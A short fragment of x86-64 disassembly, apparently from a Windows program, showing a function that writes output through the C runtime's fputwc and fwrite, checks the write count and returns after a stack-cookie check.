mov rdx, qword [rbx + 0x80]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fputwc]
cmp ax, si
cmove di, si
movzx eax, di
jmp 0x140008243
mov rbp, qword [rsp + 0x40]
lea rax, [rsp + 0x58]
sub rbp, rax
je 0x14000822e
mov r9, qword [rbx + 0x80]
lea rcx, [rsp + 0x58]
mov r8, rbp
mov edx, 1
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fwrite]
cmp rbp, rax
jne 0x140008240
lea rax, [rsp + 0x50]
mov byte [rbx + 0x72], 1
cmp qword [rsp + 0x48], rax
cmovne si, di
movzx eax, si
mov rbp, qword [rsp + 0xb0]
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14000b8a0
add rsp, 0x80
pop rdi
pop rsi
pop rbx
ret